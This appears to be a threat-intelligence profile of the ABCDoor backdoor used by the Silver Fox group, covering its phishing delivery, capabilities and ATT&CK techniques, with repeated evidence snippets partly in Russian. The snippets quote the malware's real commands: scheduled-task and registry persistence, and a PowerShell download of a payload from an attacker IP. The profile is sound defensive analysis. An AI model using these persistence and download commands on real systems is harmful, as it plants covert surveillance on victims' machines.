Loading malware…
ABCDoor is a Python-based backdoor associated with the China-linked Silver Fox threat group. It has been in the group’s arsenal since at least late 2024 and has been used in real-world intrusions since the first quarter of 2025. The malware was publicly identified during phishing campaigns targeting organizations in Russia and India, including entities in industrial, consulting, retail or trade, transportation, and other business sectors.
ABCDoor has most notably been delivered as a later-stage payload through custom ValleyRAT plugins, following initial infection chains that used tax-themed phishing lures and a modified RustSL loader to deploy ValleyRAT. Reporting also indicates Silver Fox has used multiple delivery ecosystems around this malware over time, including JavaScript-based loaders and archive-based distribution, but the strongest corroborated pattern is delivery via ValleyRAT in phishing-led campaigns.
The malware provides broad remote access and surveillance functionality on compromised Windows systems. Documented capabilities include system information collection, file upload and download, file-system operations, process management, clipboard theft, keylogging, remote mouse and keyboard control, screenshot capture, and near-real-time streaming of multiple victim screens. It also supports self-update and self-removal, enabling operators to maintain and adapt access over time.
ABCDoor communicates with command-and-control infrastructure over HTTPS using Socket.IO and has been observed packaged with a bundled Python runtime. It has also been deployed alongside tooling used for screen capture and broadcasting. For persistence, ABCDoor has been observed using both a Windows Run key and a scheduled task configured to relaunch it regularly. The malware has been disguised to resemble legitimate software components in order to reduce user suspicion and blend into the host environment.
Overall, ABCDoor is a full-featured backdoor used by Silver Fox as part of multi-stage intrusion chains that combine phishing, loader customization, geofencing, and modular payload delivery to support espionage and broader post-compromise operations.
1 distinct threat actor Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
This infrastructure was independently documented by Kaspersky as a ValleyRAT C2 server associated with the SilverFox ABCDoor campaign.
31 distinct techniques documented for this family, organized by ATT&CK tactic.
The activity involved using phishing emails that mimic correspondence from the Income Tax Department of India in December 2025, followed by a similar campaign aimed at Russian entities.
Spear-phishing: имитация уведомлений налоговой (T1566.001)... жертвы получали письмо якобы от налоговой с вложенным PDF. Внутри PDF - две кликабельные ссылки... В архиве - исполняемый файл с иконкой Adobe PDF, на деле - загрузчик Silver Fox RustSL.
В январской рассылке жертвам приходило письмо якобы от налоговой службы с вложенным PDF-файлом... В PDF-файле присутствовали две кликабельные ссылки для загрузки архива, ведущие на вредоносный ресурс.
В планировщике задач. Для этого зловред выполняет следующую команду: cmd.exe /c "schtasks /create /sc minute /mo 1 /tn "AppClient" /tr "<path_to_pythonw.exe> -m appclient" /f"
С помощью PowerShell: powershell.exe -Command ... Invoke-WebRequest -Uri 'hxxp://154.82.81[.]205/YD20251001143052.zip' ...
После загрузки DLL-модуль распаковывает архив ... и запускает файл update.bat посредством следующей команды: cmd.exe /c "C:\Users\<user>\AppData\Local\appclient\update.bat"
Скопировав файлы, скрипт запускает Python-модуль appclient с помощью легитимного инструмента pythonw: start "" /B "%DES_DIR%\python\pythonw.exe" -m appclient
С ноября 2025 года для доставки ABCDoor злоумышленники стали использовать JavaScript-загрузчик... Затем он запускал файл run.deobfuscated.obf.js
Оба варианта рассылки пытаются сыграть на важности писем от налоговых органов, чтобы убедить жертву скачать документ и запустить цепочку атаки.
В планировщике задач. Для этого зловред выполняет следующую команду: cmd.exe /c "schtasks /create /sc minute /mo 1 /tn "AppClient" /tr "<path_to_pythonw.exe> -m appclient" /f"
После запуска команды cmd /c start /min python/pythonw.exe -m appclient полезная нагрузка Silver Fox закрепляется в системе путем изменения значения параметра UserInitMprLogonScript в разделе реестра HKCU\Environment.
Upon execution, the backdoor establishes persistence in the following locations: 1 Windows registry... 2 Task scheduler...
В реестре в значении HKCU:\Software\Microsoft\Windows\CurrentVersion\Run:AppClient прописывается "<path_to_pythonw.exe>" -m appclient
В планировщике задач. Для этого зловред выполняет следующую команду: cmd.exe /c "schtasks /create /sc minute /mo 1 /tn "AppClient" /tr "<path_to_pythonw.exe> -m appclient" /f"
Running within a legitimate pythonw.exe process, ABCDoor is able to stay hidden for extended periods
Upon execution, the backdoor establishes persistence in the following locations: 1 Windows registry... 2 Task scheduler...
В реестре в значении HKCU:\Software\Microsoft\Windows\CurrentVersion\Run:AppClient прописывается "<path_to_pythonw.exe>" -m appclient
оригинальная версия RustSL по умолчанию шифрует все строки и добавляет мусорные инструкции для усложнения анализа... Запускаемый JS-скрипт сильно обфусцирован
The loader is disguised with a PDF or Excel file icon to avoid raising suspicion.
Running within a legitimate pythonw.exe process, ABCDoor is able to stay hidden for extended periods
После загрузки DLL-модуль распаковывает архив с помощью методов COM... Скопировав файлы, скрипт запускает Python-модуль appclient с помощью легитимного инструмента pythonw.exe
После запуска команды cmd /c start /min python/pythonw.exe -m appclient полезная нагрузка Silver Fox закрепляется в системе путем изменения значения параметра UserInitMprLogonScript в разделе реестра HKCU\Environment.
ABCDoor is able to stay hidden for extended periods while quietly collecting screen data, exfiltrating clipboard contents, managing files, and emulating mouse and keyboard input on the victim’s machine.
KeyboardManager — эмуляция нажатий кнопок клавиатуры
ProcessManager — управление процессами
MainManager — подключение к C2 и авторизация (отправка данных о системе); SystemInfoManager — сбор данных о системе жертвы
FileManager — операции с файловой системой
ABCDoor is able to stay hidden for extended periods while quietly collecting screen data, exfiltrating clipboard contents, managing files, and emulating mouse and keyboard input on the victim’s machine.
KeyboardManager — эмуляция нажатий кнопок клавиатуры
SystemInfoManager — сбор данных о системе жертвы, в том числе снимков экранов; RemoteControlManager ... запись экранов ... Для трансляции экрана используется отдельный файл ffmpeg.exe
ClipboardManager — отправка буфера обмена на C2
при возникновении исключений записывает их в файл %LOCALAPPDATA%\applogs\exception_logs.zip... реализовала функцию Utility::upload_exception_logs для отправки архива с исключениями
It communicates with its C2 via HTTPS and uses event handlers to processes messages asynchronously.
Бэкдор построен на основе Python-библиотек asyncio и Socket.IO. Он взаимодействует с C2 по протоколу HTTPS
Он скачивал и запускал известный бэкдор ValleyRAT... модуль пытался несколькими способами загрузить с жестко закодированного адреса архив размером 52,5 МБ.
including ABCDoor for data exfiltration and remote control.
It communicates with its C2 via HTTPS
MITRE ATT&CK (ValleyRAT общий профиль): ... Exfiltration Over C2 Channel (T1041, Exfiltration)... Финальный импакт для жертвы - ... exfiltration данных...
CryptoManager: provides functions for encrypting and decrypting files and directories (currently limited to DPAPI; asymmetric encryption functions lack implementation)
99 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
8 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.